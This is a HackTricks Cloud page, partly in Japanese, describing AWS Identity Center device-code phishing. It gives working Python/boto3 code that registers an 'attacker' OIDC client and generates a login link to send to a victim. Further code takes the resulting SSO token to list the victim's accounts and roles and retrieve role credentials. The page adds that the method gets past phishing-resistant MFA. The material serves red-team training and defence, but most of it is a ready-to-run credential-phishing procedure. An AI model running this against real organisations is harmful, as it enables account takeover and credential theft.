AWS - Identity Center & SSO Unauthenticated Enum
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
AWS Device Code Phishing
Initially proposed in this blog post, it’s possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.
In order to perform this attack the requisites are:
- The victim needs to use Identity Center
- The attacker must know the subdomain used by the victim
<victimsub>.awsapps.com/start
Just with the previous info, the attacker will be able to send a link to the user that if accepted will grant the attacker access over the AWS user account.
攻撃
- subdomain の特定
攻撃者の最初のステップは、被害企業が Identity Center で使用している subdomain を突き止めることです。これは多くの場合、会社名やその派生を使用しているため、OSINT や guessing + BF によって行えます。
With this info, it’s possible to get the region where the Indentity Center was configured with:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- 被害者のためのリンクを生成して送信する
以下のコードを実行して、被害者が認証できるように AWS SSO ログインリンクを生成します。
デモでは、このコードを python コンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので終了しないでください:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
生成したリンクをあなたの優れたソーシャルエンジニアリング技術を使って被害者に送ってください!
- 被害者が承諾するまで待つ
被害者が すでに AWS にログインしている 場合、権限付与を承諾するだけで済みます。ログインしていない場合は、ログインしてから権限付与を承諾する 必要があります。
This is how the promp looks nowadays:
.png)
- SSO アクセストークンを取得する
被害者がプロンプトを承諾した場合、次のコードを実行して ユーザーをなりすまして SSO トークンを生成します:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
SSOアクセストークンは8時間有効です。
- ユーザーになりすます
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
前述の攻撃が、“unphisable MFA” (webAuth) が使われている場合でも動作するという事実は興味深いです。これは、前述のワークフローが使用中の OAuth ドメインを離れないためです。他のフィッシング攻撃のようにユーザーがログインドメインを差し替える必要がある場合とは異なり、このケースでは device code ワークフローが準備され、code がデバイス側で既に知られているため、ユーザーは別のマシンからでもログインできます。プロンプトが承認されると、デバイスはinitial code を知っているだけでユーザーのcredentials を取得することができます。
For more info about this check this post.
自動ツール
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
参考
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

